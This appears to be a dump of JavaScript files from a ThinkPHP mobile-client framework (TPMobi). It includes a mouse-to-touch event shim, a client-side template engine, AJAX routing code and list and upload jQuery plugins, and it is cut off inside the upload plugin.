sina.voice.recognizer.setListener("onResults");
sina.voice.recognizer.start(function(response) {
console.log("response: " + response.errorCode + ", msg: " + response.message);
});
}
function onResults(response)
{
response.results.forEach(function(recognizerResult) {
$("#content").val( $("#content").val() + recognizerResult.text );
});
}
//绑定账户
function bind(type){
var url="/Index/bind/type/"+type;
if(isclient){
tpm_popurl(TPM.op.api_base+url,function(){
TPM.reload(TPM.op.main);
},'绑定账号')
}else{
url=$('<a href="'+url+'"></a>')[0].href;
tpm_popurl(url,function(){
location.reload();
},'绑定账号');
}
}
|
JavaScript
|
//desktopBrowsers contributed by Carlos Ouro @ Badoo
//translates desktop browsers events to touch events and prevents defaults
//It can be used independently in other apps but it is required for using the touchLayer in the desktop
;(function ($) {
var cancelClickMove=false;
var preventAll = function(e)
{
e.preventDefault();
e.stopPropagation();
}
var redirectMouseToTouch = function(type, originalEvent, newTarget)
{
var theTarget = newTarget ? newTarget : originalEvent.target;
//stop propagation, and remove default behavior for everything but INPUT, TEXTAREA & SELECT fields
if (theTarget.tagName.toUpperCase().indexOf("SELECT") == -1 &&
theTarget.tagName.toUpperCase().indexOf("TEXTAREA") == -1 &&
theTarget.tagName.toUpperCase().indexOf("INPUT") == -1) //SELECT, TEXTAREA & INPUT
{
// by luofei , 为了兼容iscroll 去掉原生事件的取消监听
// preventAll(originalEvent);
}
var touchevt = document.createEvent("Event");
touchevt.initEvent(type, true, true);
if(type!='touchend'){
touchevt.touches = new Array();
touchevt.touches[0] = new Object();
touchevt.touches[0].pageX = originalEvent.pageX;
touchevt.touches[0].pageY = originalEvent.pageY;
//target
touchevt.touches[0].target = theTarget;
touchevt.changedTouches = touchevt.touches; //for jqtouch
touchevt.targetTouches = touchevt.touches; //for jqtouch
}
//target
touchevt.target = theTarget;
touchevt.mouseToTouch = true;
theTarget.dispatchEvent(touchevt);
}
var mouseDown = false,
lastTarget = null,firstMove=false;
if(!window.navigator.msPointerEnabled){
document.addEventListener("mousedown", function(e)
{
mouseDown = true;
lastTarget = e.target;
if(e.target.nodeName.toLowerCase()=="a"&&e.target.href.toLowerCase()=="javascript:;")
e.target.href="#";
redirectMouseToTouch("touchstart", e);
firstMove = true;
cancelClickMove=false;
}, true);
document.addEventListener("mouseup", function(e)
{
if(!mouseDown) return;
redirectMouseToTouch("touchend", e, lastTarget); //bind it to initial mousedown target
lastTarget = null;
mouseDown = false;
}, true);
document.addEventListener("mousemove", function(e)
{
if (!mouseDown) return;
if(firstMove) return firstMove=false
redirectMouseToTouch("touchmove", e);
e.preventDefault();
cancelClickMove=true;
}, true);
}
else { //Win8
document.addEventListener("MSPointerDown", function(e)
{
mouseDown = true;
lastTarget = e.target;
if(e.target.nodeName.toLowerCase()=="a"&&e.target.href.toLowerCase()=="javascript:;")
e.target.href="#";
redirectMouseToTouch("touchstart", e);
firstMove = true;
cancelClickMove=false;
// e.preventDefault();e.stopPropagation();
}, true);
document.addEventListener("MSPointerUp", function(e)
{
if(!mouseDown) return;
redirectMouseToTouch("touchend", e, lastTarget); //bind it to initial mousedown target
lastTarget = null;
mouseDown = false;
// e.preventDefault();e.stopPropagation();
}, true);
document.addEventListener("MSPointerMove", function(e)
{
if (!mouseDown) return;
if(firstMove) return firstMove=false
redirectMouseToTouch("touchmove", e);
e.preventDefault();
//e.stopPropagation();
cancelClickMove=true;
}, true);
}
//prevent all mouse events which dont exist on touch devices
document.addEventListener("drag", preventAll, true);
document.addEventListener("dragstart", preventAll, true);
document.addEventListener("dragenter", preventAll, true);
document.addEventListener("dragover", preventAll, true);
document.addEventListener("dragleave", preventAll, true);
document.addEventListener("dragend", preventAll, true);
document.addEventListener("drop", preventAll, true);
document.addEventListener("selectstart", preventAll, true);
document.addEventListener("click", function(e)
{
if(!e.mouseToTouch&&e.target==lastTarget){
preventAll(e);
}
if(cancelClickMove)
{
preventAll(e);
cancelClickMove=false;
}
}, true);
window.addEventListener("resize",function(){
var touchevt = document.createEvent("Event");
touchevt.initEvent("orientationchange", true, true);
document.dispatchEvent(touchevt);
},false);
})(jQuery);
|
JavaScript
|
//ThinkTemplate 用js实现了ThinkPHP的模板引擎。
//用户可以在手机客户端中用ThinkPHP的模板引擎。
//@author luofei614<http://weibo.com/luofei614>
//
var ThinkTemplate={
tags:['Include','Volist','Foreach','For','Empty','Notempty','Present','Notpresent','Compare','If','Elseif','Else','Swith','Case','Default','Var','Range'],
parse:function(tplContent,vars){
var render=function(){
tplContent='<% var key,mod=0;%>'+tplContent;//定义模板中循环需要使用的到变量
$.each(ThinkTemplate.tags,function(k,v){
tplContent=ThinkTemplate['parse'+v](tplContent);
});
return ThinkTemplate.template(tplContent,vars);
};
return render();
},
//解析 <% %> 标签
template:function(text,vars){
var source="";
var index=0;
var escapes = {
"'": "'",
'\\': '\\',
'\r': 'r',
'\n': 'n',
'\t': 't',
'\u2028': 'u2028',
'\u2029': 'u2029'
};
var escaper = /\\|'|\r|\n|\t|\u2028|\u2029/g;
text.replace(/<%=([\s\S]+?)%>|<%([\s\S]+?)%>/g,function(match,interpolate,evaluate,offset){
var p=text.slice(index,offset).replace(escaper,function(match){
return '\\'+escapes[match];
});
if(''!=$.trim(p)){
source+="__p+='"+p+"';\n";
}
if(evaluate){
source+=evaluate+"\n";
}
if(interpolate){
source+="if( 'undefined'!=typeof("+interpolate+") && (__t=(" + interpolate + "))!=null) __p+=__t;\n";
}
index=offset+match.length;
return match;
});
source+="__p+='"+text.slice(index).replace(escaper,function(match){ return '\\'+escapes[match]; })+"';\n";//拼接剩余的字符串
source = "var __t,__p='',__j=Array.prototype.join," +
"print=function(){__p+=__j.call(arguments,'');};\n" +
"with(obj){\n"+
source +
"}\n"+
"return __p;\n";
try {
render = new Function('obj', source);
} catch (e) {
e.source = source;
throw e;
}
return render(vars);
},
parseVar:function(tplContent){
var matcher=/\{\$(.*?)\}/g
return tplContent.replace(matcher,function(match,varname,offset){
//支持定义默认值
if(varname.indexOf('|')!=-1){
var arr=varname.split('|');
var name=arr[0];
var defaultvalue='""';
arr[1].replace(/default=(.*?)$/ig,function(m,v,o){
defaultvalue=v;
});
return '<% '+name+'?print('+name+'):print('+defaultvalue+'); %>';
}
return '<%='+varname+'%>';
});
},
//include标签解析 路径需要写全,写为 Action:method, 暂不支持变量。
parseInclude:function(tplContent){
var include=/<include (.*?)\/?>/ig;
tplContent=tplContent.replace(include,function(m,v,o){
var $think=$('<think '+v+' />');
var file=$think.attr('file').replace(':','/')+'.html';
var content='';
//加载模板
$.ajax({
dataType:'text',
url:file,
cache:false,
async:false,//同步请求
success:function(d,s,x){
content=d;
},
error:function(){
//pass
}
});
return content;
});
tplContent=tplContent.replace('</include>','');//兼容浏览器中元素自动闭合的情况
return tplContent;
},
//volist标签解析
parseVolist:function(tplContent){
var voliststart=/<volist (.*?)>/ig;
var volistend=/<\/volist>/ig;
//解析volist开始标签
tplContent=tplContent.replace(voliststart,function(m,v,o){
//属性分析
var $think=$('<think '+v+' />');
var name=$think.attr('name');
var id=$think.attr('id');
var empty=$think.attr('empty')||'';
var key=$think.attr('key')||'i';
var mod=$think.attr('mod')||'2';
//替换为代码
return '<% if("undefined"==typeof('+name+') || ThinkTemplate.empty('+name+')){'+
' print(\''+empty+'\');'+
' }else{ '+
key+'=0;'+
' $.each('+name+',function(key,'+id+'){'+
' mod='+key+'%'+mod+';'+
' ++'+key+';'+
' %>';
});
//解析volist结束标签
tplContent=tplContent.replace(volistend,'<% }); } %>');
return tplContent;
},
//解析foreach标签
parseForeach:function(tplContent){
var foreachstart=/<foreach (.*?)>/ig;
var foreachend=/<\/foreach>/i;
tplContent=tplContent.replace(foreachstart,function(m,v,o){
var $think=$('<think '+v+' />');
var name=$think.attr('name');
var item=$think.attr('item');
var key=$think.attr('key')||'key';
return '<% $.each('+name+',function('+key+','+item+'){ %>'
});
tplContent=tplContent.replace(foreachend,'<% }); %>');
return tplContent;
},
parseFor:function(tplContent){
var forstart=/<for (.*?)>/ig;
var forend=/<\/for>/ig;
tplContent=tplContent.replace(forstart,function(m,v,o){
var $think=$('<think '+v+' />');
var name=$think.attr('name') || 'i';
var comparison=$think.attr('comparison') || 'lt';
var start=$think.attr('start') || '0';
if('$'==start.substr(0,1)){
start=start.substr(1);
}
var end=$think.attr('end') || '0';
if('$'==end.substr(0,1)){
end=end.substr(1);
}
var step=$think.attr('step') || '1';
if('$'==step.substr(0,1)){
step=step.substr(1);
}
return '<% for(var '+name+'='+start+';'+ThinkTemplate.parseCondition(name+comparison+end)+';i=i+'+step+'){ %>'
});
tplContent=tplContent.replace(forend,'<% } %>');
return tplContent;
},
//empty标签
parseEmpty:function(tplContent){
var emptystart=/<empty (.*?)>/ig;
var emptyend=/<\/empty>/ig;
tplContent=tplContent.replace(emptystart,function(m,v,o){
var name=$('<think '+v+' />').attr('name');
return '<% if("undefined"==typeof('+name+') || ThinkTemplate.empty('+name+')){ %>';
});
tplContent=tplContent.replace(emptyend,'<% } %>');
return tplContent;
},
//notempty 标签解析
parseNotempty:function(tplContent){
var notemptystart=/<notempty (.*?)>/ig;
var notemptyend=/<\/notempty>/ig;
tplContent=tplContent.replace(notemptystart,function(m,v,o){
var name=$('<think '+v+' />').attr('name');
return '<% if("undefined"!=typeof('+name+') && !ThinkTemplate.empty('+name+')){ %>';
});
tplContent=tplContent.replace(notemptyend,'<% } %>');
return tplContent;
},
//present标签解析
parsePresent:function(tplContent){
var presentstart=/<present (.*?)>/ig;
var presentend=/<\/present>/ig;
tplContent=tplContent.replace(presentstart,function(m,v,o){
var name=$('<think '+v+' />').attr('name');
return '<% if("undefined"!=typeof('+name+')){ %>';
});
tplContent=tplContent.replace(presentend,'<% } %>');
return tplContent;
},
//notpresent 标签解析
parseNotpresent:function(tplContent){
var notpresentstart=/<notpresent (.*?)>/ig;
var notpresentend=/<\/notpresent>/ig;
tplContent=tplContent.replace(notpresentstart,function(m,v,o){
var name=$('<think '+v+' />').attr('name');
return '<% if("undefined"==typeof('+name+')){ %>';
});
tplContent=tplContent.replace(notpresentend,'<% } %>');
return tplContent;
},
parseCompare:function(tplContent){
var compares={
"compare":"==",
"eq":"==",
"neq":"!=",
"heq":"===",
"nheq":"!==",
"egt":">=",
"gt":">",
"elt":"<=",
"lt":"<"
};
$.each(compares,function(type,sign){
var start=new RegExp('<'+type+' (.*?)>','ig');
var end=new RegExp('</'+type+'>','ig');
tplContent=tplContent.replace(start,function(m,v,o){
var $think=$('<think '+v+' />');
var name=$think.attr('name');
var value=$think.attr('value');
if("compare"==type && $think.attr('type')){
sign=compares[$think.attr('type')];
}
if('$'==value.substr(0,1)){
//value支持变量
value=value.substr(1);
}else{
value='"'+value+'"';
}
return '<% if('+name+sign+value+'){ %>';
});
tplContent=tplContent.replace(end,'<% } %>');
});
return tplContent;
},
//解析if标签
parseIf:function(tplContent){
var ifstart=/<if (.*?)>/ig;
var ifend=/<\/if>/ig;
tplContent=tplContent.replace(ifstart,function(m,v,o){
var condition=$('<think '+v+' />').attr('condition');
return '<% if('+ThinkTemplate.parseCondition(condition)+'){ %>';
});
tplContent=tplContent.replace(ifend,'<% } %>');
return tplContent;
},
//解析elseif
parseElseif:function(tplContent){
var elseif=/<elseif (.*?)\/?>/ig;
tplContent=tplContent.replace(elseif,function(m,v,o){
var condition=$('<think '+v+' />').attr('condition');
return '<% }else if('+ThinkTemplate.parseCondition(condition)+'){ %>';
});
tplContent=tplContent.replace('</elseif>','');
return tplContent;
},
//解析else标签
parseElse:function(tplContent){
var el=/<else\s*\/?>/ig
tplContent=tplContent.replace(el,'<% }else{ %>');
tplContent=tplContent.replace('</else>','');
return tplContent;
},
//解析swith标签
parseSwith:function(tplContent){
var switchstart=/<switch (.*?)>(\s*)/ig;
var switchend=/<\/switch>/ig;
tplContent=tplContent.replace(switchstart,function(m,v,s,o){
var name=$('<think '+v+' >').attr('name');
return '<% switch('+name+'){ %>';
});
tplContent=tplContent.replace(switchend,'<% } %>');
return tplContent;
},
//解析case标签
parseCase:function(tplContent){
var casestart=/<case (.*?)>/ig;
var caseend=/<\/case>/ig;
var breakstr='';
tplContent=tplContent.replace(casestart,function(m,v,o){
var $think=$('<think '+v+' />');
var value=$think.attr('value');
if('$'==value.substr(0,1)){
value=value.substr(1);
}else{
value='"'+value+'"';
}
if('false'!=$think.attr('break')){
breakstr='<% break; %> ';
}
return '<% case '+value+': %>';
});
tplContent=tplContent.replace(caseend,breakstr);
return tplContent;
},
//解析default标签
parseDefault:function(tplContent){
var defaulttag=/<default\s*\/?>/ig;
tplContent=tplContent.replace(defaulttag,'<% default: %>');
tplContent=tplContent.replace('</default>','');
return tplContent;
},
//解析in,notin,between,notbetween 标签
parseRange:function(tplContent){
var ranges=['in','notin','between','notbetween'];
$.each(ranges,function(k,tag){
var start=new RegExp('<'+tag+' (.*?)>','ig');
var end=new RegExp('</'+tag+'>','ig');
tplContent=tplContent.replace(start,function(m,v,o){
var $think=$('<think '+v+' />');
var name=$think.attr('name');
var value=$think.attr('value');
if('$'==value.substr(0,1)){
value=value.substr(1);
}else{
value='"'+value+'"';
}
switch(tag){
case "in":
var condition='ThinkTemplate.inArray('+name+','+value+')';
break;
case "notin":
var condition='!ThinkTemplate.inArray('+name+','+value+')';
break;
case "between":
var condition=name+'>='+value+'[0] && '+name+'<='+value+'[1]';
break;
case "notbetween":
var condition=name+'<'+value+'[0] || '+name+'>'+value+'[1]';
break;
}
return '<% if('+condition+'){ %>'
});
tplContent=tplContent.replace(end,'<% } %>')
});
return tplContent;
},
//扩展
extend:function(name,cb){
name=name.substr(0,1).toUpperCase()+name.substr(1);
this.tags.push(name);
this['parse'+name]=cb;
},
//判断是否在数组中,支持判断object类型的数据
inArray:function(name,value){
if('string'==$.type(value)){
value=value.split(',');
}
var ret=false;
$.each(value,function(k,v){
if(v==name){
ret=true;
return false;
}
});
return ret;
},
empty:function(data){
if(!data)
return true;
if('array'==$.type(data) && 0==data.length)
return true;
if('object'==$.type(data) && 0==Object.keys(data).length)
return true;
return false;
},
parseCondition:function(condition){
var conditions={
"eq":"==",
"neq":"!=",
"heq":"===",
"nheq":"!==",
"egt":">=",
"gt":">",
"elt":"<=",
"lt":"<",
"or":"||",
"and":"&&",
"\\$":""
};
$.each(conditions,function(k,v){
var matcher=new RegExp(k,'ig');
condition=condition.replace(matcher,v);
});
return condition;
}
};
//TPMobi框架
//实现用ThinkPHP做手机客户端
//@author luofei614<http://weibo.com/luofei614>
var TPM={
op:{
api_base:'',//接口基地址,末尾不带斜杠
api_index:'/Index/index',//首页请求地址
main:"main",//主体层的ID
routes:{}, //路由,支持参数如:id 支持通配符*
error_handle:false,//错误接管函数
_before:[],
_ready:[],//UI回调函数集合
single:true,//单一入口模式
ajax_wait:".ajax_wait",//正在加载层的选择符
ajax_timeout:15000,//ajax请求超时时间
ajax_data_type:'',//请求接口类型 如json,jsonp
ajax_jsonp_callback:'callback',//jsonp 传递的回调函数参数名词
before_request_api:false,//请求接口之前的hook
//请求接口之后的hook,处理TP的success和error
after_request_api:function(data,url){
if(data.info){
TPM.info(data.info,function(){
if(data.url){
TPM.http(data.url);
}else if(1==data.status){
//如果success, 刷新数据
TPM.reload(TPM.op.main);
}
});
return false;
}
},
anchor_move_speed:500, //移动到锚点的速度
tpl_path_var:'_think_template_path',//接口指定模板
tpl_parse_string:{
'../Public':'./Public'
},//模板替换变量
//指定接口请求的header
headers:{
'client':'PhoneClient',
//跨域请求时,不会带X-Requested-with 的header,会导致服务认为不是ajax请求,所以这样手动加上这个header 。
'X-Requested-With':'XMLHttpRequest'
},
tpl:ThinkTemplate.parse//模板引擎
},
config:function(options){
$.extend(this.op,options);
},
ready:function(fun){
this.op._ready.push(fun);
},
before:function(fun){
this.op._before.push(fun);
},
//输出错误
error:function(errno,msg){
TPM.alert('错误['+errno+']:'+msg);
},
info:function(msg,cb){
if('undefined'==typeof(tpm_info)){
alert(msg);
if($.isFunction(cb)) cb();
}else{
tpm_info(msg,cb);
}
},
alert:function(msg,cb,title){
if('undefined'==typeof(tpm_alert)){
alert(msg);
if($.isFunction(cb)) cb();
}else{
tpm_alert(msg,cb,title);
}
},
//初始化运行
run:function(options,vars){
if(!this.defined(window.jQuery) && !this.defined(window.Zepto)){
this.error('-1','请加载jquery或zepto');
return ;
}
//如果只设置api_base 可以只传递一个字符串。
if('string'==$.type(options)){
options={api_base:options};
}
//配置处理
options=options||{};
this.config(options);
$.ajaxSetup({
error:this.ajaxError,
timeout:this.op.ajax_timeout || 5000,
cache:false,
headers:this.op.headers
});
var _self=this;
//ajax加载状态
window.TPMshowAjaxWait=true;
$(document).ajaxStart(function(){
//在程序中可以设置TPMshowAjaxWait为false,终止显示等待层。
if(window.TPMshowAjaxWait) $(_self.op.ajax_wait).show();
}
).ajaxStop(function(){
$(_self.op.ajax_wait).hide();
});
$(document).ready(function(){
//标签解析
vars=vars||{};
var render=function(vars){
var tplcontent=$('body').html();
tplcontent=tplcontent.replace(/<%/g,'<%');
tplcontent=tplcontent.replace(/%>/g,'%>');
var html=_self.parseTpl(tplcontent,vars);
$('body').html(html);
if(!_self.op.single){
$.each(_self.op._ready,function(k,fun){
fun($);
});
}
}
if('string'==$.type(vars)){
_self.sendAjax(vars,{},'get',function(response){
render(response);
});
}else{
render(vars);
}
if(_self.op.single){
//单一入口模式
_self.initUI(document);
var api_url=''!=location.hash?location.hash.substr(1):_self.op.api_index;
_self.op._old_hash=location.hash;
_self.http(api_url);
//监听hash变化
var listenHashChange=function(){
if(location.hash!=_self.op._old_hash){
var api_url=''!=location.hash?location.hash.substr(1):_self.op.api_index;
_self.http(api_url);
}
setTimeout(listenHashChange,50);
}
listenHashChange();
}
});
},
//初始化界面
initUI:function(_box){
//调用自定义加载完成后的UI处理函数,自定义事件绑定先于系统绑定,可以控制系统绑定函数的触发。
var selector=function(obj){
var $obj=$(obj,_box)
return $obj.size()>0?$obj:$(obj);
};
$.each(this.op._before,function(k,fun){
fun(selector);
})
var _self=this;
//A标签, 以斜杠开始的地址才会监听,不然会直接打开
$('a[href^="/"],a[href^="./"]',_box).click(function(e){
if(false===e.result) return ; //如果自定义事件return false了, 不再指向请求操作
e.preventDefault();
//如果有tpl属性,则光请求模板
var url=$(this).attr('href');
if(undefined!==$(this).attr('tpl')){
url='.'+url+'.html';
}
//绝对地址的链接不过滤
_self.http(url,$(this).attr('rel'));
});
//form标签的处理
$('form[action^="/"],form[action^="./"]',_box).submit(function(e){
if(false===e.result) return ; //如果自定义事件return false了, 不再指向请求操作
e.preventDefault();
var url=$(this).attr('action');
if(undefined!==$(this).attr('tpl')){
url='.'+url+'.html';
}
_self.http(url,$(this).attr('rel'),$(this).serializeArray(),$(this).attr('method'));
});
//锚点处理
$('a[href^="#"]',_box).click(function(e){
e.preventDefault();
var anchor=$(this).attr('href').substr(1);
if($('#'+anchor).size()>0){
_self.scrollTop($('#'+anchor),_self.op.anchor_move_speed);
}else if($('a[name="'+anchor+'"]').size()>0){
_self.scrollTop($('a[name="'+anchor+'"]'),_self.op.anchor_move_speed);
}else{
_self.scrollTop(0,_self.op.anchor_move_speed);
}
});
$.each(this.op._ready,function(k,fun){
fun(selector);
})
},
//请求接口, 支持情况:1, 请求接口同时渲染模板 2,只请求模板不请求接口 3,只请求接口不渲染模板, 如果有更复杂的逻辑可以自己封住函数,调TPM.sendAjax, TPM.render。
http:function(url,rel,data,type){
rel=rel||this.op.main;
type=type || 'get';
//分析url,如果./开始直接请求模板
if('./'==url.substr(0,2)){
this.render(url,rel);
$('#'+rel).data('url',url);
if(this.op.main==rel && 'get'==type.toLowerCase()) this.changeHash(url);
return ;
}
//分析模板地址
var tpl_path=this.route(url);
//改变hash
if(tpl_path && this.op.main==rel && 'get'==type.toLowerCase()) this.changeHash(url);
//ajax请求
var _self=this;
this.sendAjax(url,data,type,function(response){
if(!tpl_path && _self.defined(response[_self.op.tpl_path_var])){
tpl_path=response[_self.op.tpl_path_var]; //接口可以指定模板
//改变hash
if(tpl_path && _self.op.main==rel && 'get'==type.toLowerCase()) _self.changeHash(url);
}
if(!tpl_path){
//如果没有模板,默认只请求ajax,请求成后刷新rel
if('false'!=rel.toLowerCase()) _self.reload(rel);
}else{
//模板渲染
_self.render(tpl_path,rel,response);
$('#'+rel).data('url',url);
}
});
},
sendAjax:function(url,data,type,cb,async,options){
var _self=this;
data=data||{};
type=type||'get';
options=options||{};
api_options=$.extend({},_self.op,options);
if(false!==async){
async==true;
}
//请求接口之前hook(可以用做签名)
if($.isFunction(api_options.before_request_api))
data=api_options.before_request_api(data,url);
//ajax请求
//TODO ,以http开头的url,不加api_base
var api_url=api_options.api_base+url;
$.ajax(
{
type: type,
url: api_url,
data: data,
dataType:api_options.ajax_data_type||'',
jsonp:api_options.ajax_jsonp_callback|| 'callback',
async:async,
success: function(d,s,x){
if(redirect=x.getResponseHeader('redirect')){
//跳转
if(api_options.single) _self.http(redirect);
return ;
}
//接口数据分析
try{
var response='object'==$.type(d)?d:$.parseJSON(d);
}catch(e){
_self.error('-2','接口返回数据格式错误');
return ;
}
//接口请求后的hook
if($.isFunction(api_options.after_request_api)){
var hook_result=api_options.after_request_api(response,url);
if(undefined!=hook_result){
response=hook_result;
}
}
if(false!=response && $.isFunction(cb))
cb(response);
}
}
);
},
changeHash:function(url){
if(url!=this.op.api_index){
this.op._old_hash='#'+url;
location.hash=url;
}else{
if(''!=this.op._old_hash) this.op._old_hash=this.isIE()?'#':'';//IE如果描点为# 获得值不为空
if(''!=location.hash) location.hash='';//赋值为空其实浏览器会赋值为 #
}
},
//渲染模板
render:function(tpl_path,rel,vars){
vars=vars||{};
var _self=this;
$.get(tpl_path,function(d,x,s){
//模板解析
var content=_self.parseTpl(d,vars);
//解析模板替换变量
$.each(_self.op.tpl_parse_string,function(find,replace){
var matcher=new RegExp(find.replace(/[-[\]{}()+?.,\\^$|#\s]/g,'\\$&'),'g');
content=content.replace(matcher,replace);
});
//分离js
var ret=_self.stripScripts(content);
var html=ret.text;
var js=ret.scripts;
$('#'+rel).empty().append(html);
_self.initUI($('#'+rel));
//执行页面js
_self.execScript(js,$('#'+rel));
},'text');
},
//重新加载区域内容
reload:function(rel){
var url=$('#'+rel).data('url');
if(url){
this.http(url,rel);
}
},
//路由解析
route:function(url){
var tpl_path=false;
var _self=this;
$.each(this.op.routes,function(route,path){
if(_self._routeToRegExp(route).test(url)){
tpl_path=path;
return false;
}
});
return tpl_path;
},
_routeToRegExp: function(route) {
var namedParam = /:\w+/g;
var splatParam = /\*\w+/g;
var escapeRegExp = /[-[\]{}()+?.,\\^$|#\s]/g;
route = route.replace(escapeRegExp, '\\$&')
.replace(namedParam, '([^\/]+)')
.replace(splatParam, '(.*?)');
return new RegExp('^' + route + '$');
},
//模板解析
parseTpl:function(tplContent,vars){
return this.op.tpl(tplContent,vars);
},
ajaxError: function(xhr, ajaxOptions, thrownError)
{
window.TPMshowAjaxWait=true;
TPM.info('网络异常');
},
//------实用工具
//判断是否为IE
isIE:function(){
return /msie [\w.]+/.exec(navigator.userAgent.toLowerCase());
},
//判断是否为IE7以下浏览器
isOldIE:function(){
return this.isIE() && (!docMode || docMode <= 7);
},
//移动滚动条,n可以是数字也可以是对象
scrollTop:function(n,t,obj){
t=t||0;
obj=obj ||'html,body'
num=$.type(n)!="number"?n.offset().top:n;
$(obj).animate( {
scrollTop: num
}, t );
},
//分离js代码
stripScripts:function(codes){
var scripts = '';
//将字符串去除script标签, 并获得script标签中的内容。
var text = codes.replace(/<script[^>]*>([\s\S]*?)<\/script>/gi, function(all, code){
scripts += code + '\n';
return '';
});
return {text:text,scripts:scripts}
},
//执行js代码
execScript:function(scripts,_box){
if(scripts!=''){
//执行js代码, 在闭包中执行。改变$选择符。
var e=new Function('$',scripts);
var selector=function(obj){
var $obj=$(obj,_box)
return $obj.size()>0?$obj:$(obj);
};
e(selector);
}
},
//判断变量是否定义
defined:function(variable){
return $.type(variable) == "undefined" ? false : true;
},
//获得get参数
get:function(name){
if('undefined'==$.type(this._gets)){
var querystring=window.location.search.substring(1);
var gets={};
var vars=querystring.split('&')
var param;
for(var i=0;i<vars.length;i++){
param=vars[i].split('=');
gets[param[0]]=param[1];
}
this._gets=gets;
}
return this._gets[name];
}
};
|
JavaScript
|
//列表插件
//元素属性: data-api,请求api地址 ; data-datas 请求参数 data-tpl 模板地址 data-tabletpagesize 平板每页显示条数, data-phonepagesize 手机每页显示条数
//author : luofei614<http://weibo.com/luofei614>
;(function($){
$.fn.extend({
'TPMlist':function(options){
var defaults={
"param_pagesize":"pagesize",
"param_page":"page",
"tabletpagesize":40,
"phonepagesize":20
};
options=$.extend(defaults,options);
$(this).each(function(){
//获得api
var api=$(this).data('api');
//获得请求参数
var datas=$(this).data('datas');
//获得模板
var tpl=$(this).data('tpl');
//获得数据集合名称
//获得pagesize
var type=$(window).height()>767?'tablet':'phone';
var defaultpagesize='tablet'==type?options.tabletpagesize:options.phonepagesize;//默认每页显示条数
var pagesize=$(this).data(type+'pagesize') || defaultpagesize;
$children=$('<div><div class="list_content">加载中..</div></div>').appendTo(this).find('.list_content');
//下拉刷新
var sc=$(this).TPMpulltorefresh(function(){
$children.TPMgetListData(api,datas,tpl,pagesize,1,this,options);
});
$children.TPMgetListData(api,datas,tpl,pagesize,1,sc,options);
});
},
'TPMgetListData':function(api,datas,tpl,pagesize,page,sc,options){
var params=datas?datas.split('&'):{};
var datas_obj={};
for(var i=0;i<params.length;i++){
var p=params[i].split('=');
datas_obj[p[0]]=p[1];
}
datas_obj[options.param_pagesize]=pagesize;
datas_obj[options.param_page]=page;
var $this=$(this);
//请求api
TPM.sendAjax(api,datas_obj,'get',function(response){
//渲染模板
$.get(tpl,function(d,x,s){
var html=TPM.parseTpl(d,response);
//判断是否为第一页,如果为第一页,清空以前数据然后重新加载,如果不是第一页数据进行累加
if(1==page){
$this.empty();
}
$this.find('.getmore').remove();//删除以前的加载更多
$this.append(html);
if(response.currentpage!=response.totalpages){
//加载更多按钮
$more=$('<div class="getmore">加载更多</div>');
$more.appendTo($this);
$more.click(function(){
$(this).html('加载中...');//TODO 加载中样式
$this.TPMgetListData(api,datas,tpl,pagesize,parseInt($this.data('currentpage'))+1,sc,options);
});
}
sc.refresh();//iscroll refresh;
//记录当前页面
$this.data('currentpage',response.currentpage);
},'text')
});
},
//下拉刷新
'TPMpulltorefresh':function(cb){
//增加下拉刷新提示层
var $pulldown=$('<div class="pullDown"><span class="pullDownIcon"></span><span class="pullDownLabel">下拉可以刷新</span></div>')
$pulldown.prependTo($(this).children());
var offset=$pulldown.outerHeight(true);
var myScroll=new iScroll($(this)[0],{
useTransition: true,
topOffset:offset,
hideScrollbar:true,
onRefresh: function () {
$pulldown.removeClass('loading');
$pulldown.find('.pullDownLabel').html('下拉可以刷新');
},
onScrollMove: function () {
if (this.y > 5 && !$pulldown.is('.flip')) {
$pulldown.addClass('flip');
$pulldown.find('.pullDownLabel').html('松开可以刷新');
this.minScrollY = 0;
} else if (this.y < 5 && $pulldown.is('.flip')) {
$pulldown.removeClass('flip');
$pulldown.find('.pullDownLabel').html('下拉可以刷新');
this.minScrollY = -offset;
}
},
onScrollEnd: function () {
if($pulldown.is('.flip')){
$pulldown.removeClass('flip');
$pulldown.addClass('loading');
$pulldown.find('.pullDownLabel').html('加载中...');
cb.call(this);//触发回调函数
}
}
});
return myScroll;
}
});
})(jQuery);
|
JavaScript
|
//兼容phonegap,电脑,手机的上传插件
//autor luofei614(http://weibo.com/luofei614)
;(function($){
$.fn.extend({
TPMupload:function(options){
//配置项处理
var defaults={
"url":"",
"name":"file",
"sourceType":"Image", //针对手机有效, 上传类型,Image,Video,Audio,Libray 注意首字母大写。 Libray 表示上传手机相册中的图片。
"dataUrl":true,
"quality":20,//图片质量
"imgWidth":300,
"imgHeight":300
};
if('string'==$.type(options))
options={"url":options};
var op=$.extend(defaults,options);
//电脑上传
var desktop_upload=function(index){
op.name=$(this).attr('name') || op.name
//增加上传按钮
var $uploadBtn=$('<input type="button" class="TPMupload_btn" value="上传" />').insertBefore(this);
//添加状态层
var $status=$('<span class="TPMupload_status"></span>').insertBefore(this);
//增加隐藏域
var $hiddenInput=$('<input type="hidden" name="'+op.name+'" value="" />').insertBefore(this);;
//增加结果显示层
var $show=$('<div class="TPMupload_show"></div>').insertBefore(this);
//增加提交表单
var $form=$('<form action="'+op.url+'" target="TPMupload_iframe_'+index+'" method="post" enctype="multipart/form-data"> <input type="file" size="1" name="'+op.name+'" style="cursor:pointer;" /> </form>').css({"position":"absolute","opacity":"0"}).insertBefore(this);
//定位提交表单
$uploadBtn.hover(function(e){
$form.offset({top:e.pageY-20,left:e.pageX-50});
});
var $uploadInput=$form.find('input:file');
$uploadInput.change(function(){
$status.html('正在上传...');
$form.submit();
});
$(this).remove();
//增加iframe
var $iframe=$('<iframe id="TPMupload_iframe_'+index+'" name="TPMupload_iframe_'+index+'" style="display:none" src="about:blank"></iframe>').appendTo('body');
//获得iframe返回结果
var iframe=$iframe[0];
$iframe.bind("load", function(){
if (iframe.src == "javascript:'%3Chtml%3E%3C/html%3E';" || // For Safari
iframe.src == "javascript:'<html></html>';") { // For FF, IE
return;
}
var doc = iframe.contentDocument ? iframe.contentDocument : window.frames[iframe.id].document;
// fixing Opera 9.26,10.00
if (doc.readyState && doc.readyState != 'complete') return;
// fixing Opera 9.64
if (doc.body && doc.body.innerHTML == "false") return;
var response;
if (doc.XMLDocument) {
// response is a xml document Internet Explorer property
response = doc.XMLDocument;
} else if (doc.body){
try{
response = $iframe.contents().find("body").html();
} catch (e){ // response is html document or plain text
response = doc.body.innerHTML;
}
} else {
// response is a xml document
response = doc;
}
if(''!=response){
$status.html('');
if(-1!=response.indexOf('<pre>')){
